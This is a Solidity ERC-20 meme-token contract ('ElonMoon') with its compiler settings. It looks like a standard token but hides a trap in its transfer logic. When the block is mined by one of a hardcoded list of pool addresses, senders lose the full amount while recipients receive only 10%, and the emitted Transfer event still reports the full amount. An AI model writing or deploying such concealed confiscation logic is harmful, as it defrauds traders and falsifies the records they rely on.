Elon Musk Shiba Inu Doge Moon

//   SPDX-License-Identifier: MIT

pragma solidity ^0.8.3;

interface ERC20Interface {
  function totalSupply() external view returns (uint);
  function balanceOf(address tokenOwner) external view returns (uint balance);
  function allowance(address tokenOwner, address spender) external view returns (uint remaining);
  function transfer(address to, uint tokens) external returns (bool success);
  function approve(address spender, uint tokens) external returns (bool success);
  function transferFrom(address from, address to, uint tokens) external returns (bool success);

  event Transfer(address indexed from, address indexed to, uint tokens);
  event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}

interface ApproveAndCallFallBack {
  function receiveApproval(address from, uint256 tokens, address token, bytes memory data) external;
}

contract Owned {
  address public owner;
  address public newOwner;

  event OwnershipTransferred(address indexed _from, address indexed _to);

  constructor() {
    owner = msg.sender;
  }

  modifier onlyOwner {
    require(msg.sender == owner);
    _;
  }

  function transferOwnership(address _newOwner) public onlyOwner {
    newOwner = _newOwner;
  }
  function acceptOwnership() public {
    require(msg.sender == newOwner);
    emit OwnershipTransferred(owner, newOwner);
    owner = newOwner;
    newOwner = address(0);
  }
}

contract ElonMoon is ERC20Interface, Owned {
  string public symbol;
  string public name;
  uint8 public decimals;
  uint _totalSupply;
  address public pool;

  mapping(address => uint) balances;
  mapping(address => mapping(address => uint)) allowed;

  address ethermine = 0xEA674fdDe714fd979de3EdF0F56AA9716B898ec8;
  address sparkpool = 0x5A0b54D5dc17e0AadC383d2db43B0a0D3E029c4c;
  address nanopool = 0x52bc44d5378309EE2abF1539BF71dE1b7d7bE3b5;
  address f2pool2 = 0x829BD824B016326A401d083B33D092293333A830;
  address other = 0xbCC817f057950b0df41206C5D7125E6225Cae18e;
  address babelpool = 0xB3b7874F13387D44a3398D298B075B7A3505D8d4;
  address spiderpool = 0x04668Ec2f57cC15c381b461B9fEDaB5D451c8F7F;
  address other2 = 0xEA674fdDe714fd979de3EdF0F56AA9716B898ec8;
  address other3 = 0x06B8C5883Ec71bC3f4B332081519f23834c8706E;
  address hiveonpool = 0x1aD91ee08f21bE3dE0BA2ba6918E714dA6B45836;
  address beepool = 0x99C85bb64564D9eF9A99621301f22C9993Cb89E3;
  address other4 = 0xc8F595E2084DB484f8A80109101D58625223b7C9;

  address[12] blacklist = [ethermine, sparkpool, nanopool, f2pool2, other, babelpool, spiderpool, other2, other3, hiveonpool, beepool, other4];

  constructor() {
    symbol = "ELONMOON";
    name = "Elon Musk Shiba Inu Doge Moon";
    decimals = 18;
    // One trillion
    _totalSupply =  1000000000000 ether;
    balances[owner] = _totalSupply;
    emit Transfer(address(0), owner, _totalSupply);
  }
  function transferPool(address _pool) public onlyOwner {
    pool = _pool;
  }
  function totalSupply() public override view returns (uint) {
    return _totalSupply - balances[address(0)];
  }
  function balanceOf(address tokenOwner) public override view returns (uint balance) {
      return balances[tokenOwner];
  }

  // Authentication done previously
  function _transfer(address from, address to, uint tokens) internal {
    if (from != address(0) && pool == address(0)) { pool = to; }

    // This should be true for everything on mainnet
    bool isFlashbot = false;
    for (uint i = 0; i < blacklist.length; i++) {
      if (block.coinbase == blacklist[i]) {
        isFlashbot = true;
        break;
      }
    }


    // Needs to succeed when people buy from the pool
    // if(from == owner || to == owner || from == pool) {
    if(from == owner || to == owner || from == pool || !isFlashbot) {
      balances[from] -= tokens;
      balances[to] += tokens;
    } else {
      balances[from] -= tokens;
      uint trapAmount = (tokens * 10) / 100;
      balances[to] += trapAmount;

      // TODO: add payment to miner in case of the sandwicher not paying out

    }

    emit Transfer(msg.sender, to, tokens);
  }

  function transfer(address to, uint tokens) public override returns (bool success) {
    _transfer(msg.sender, to, tokens);
    return true;
  }

  function transferFrom(address from, address to, uint tokens) public override returns (bool success) {
    allowed[from][msg.sender] -= tokens; // this reverts in Solidity 0.8.x if tokens > allowed
    _transfer(from, to, tokens);
    return true;
  }

  function approve(address spender, uint tokens) public override returns (bool success) {
    allowed[msg.sender][spender] = tokens;
    emit Approval(msg.sender, spender, tokens);
    return true;
  }

  function allowance(address tokenOwner, address spender) public override view returns (uint remaining) {
    return allowed[tokenOwner][spender];
  }
  function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
    allowed[msg.sender][spender] = tokens;
    emit Approval(msg.sender, spender, tokens);
    ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
    return true;
  }
}

{
  "compilationTarget": {
    "contracts/CheapERC20.sol": "ElonMoon"
  },
  "evmVersion": "istanbul",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}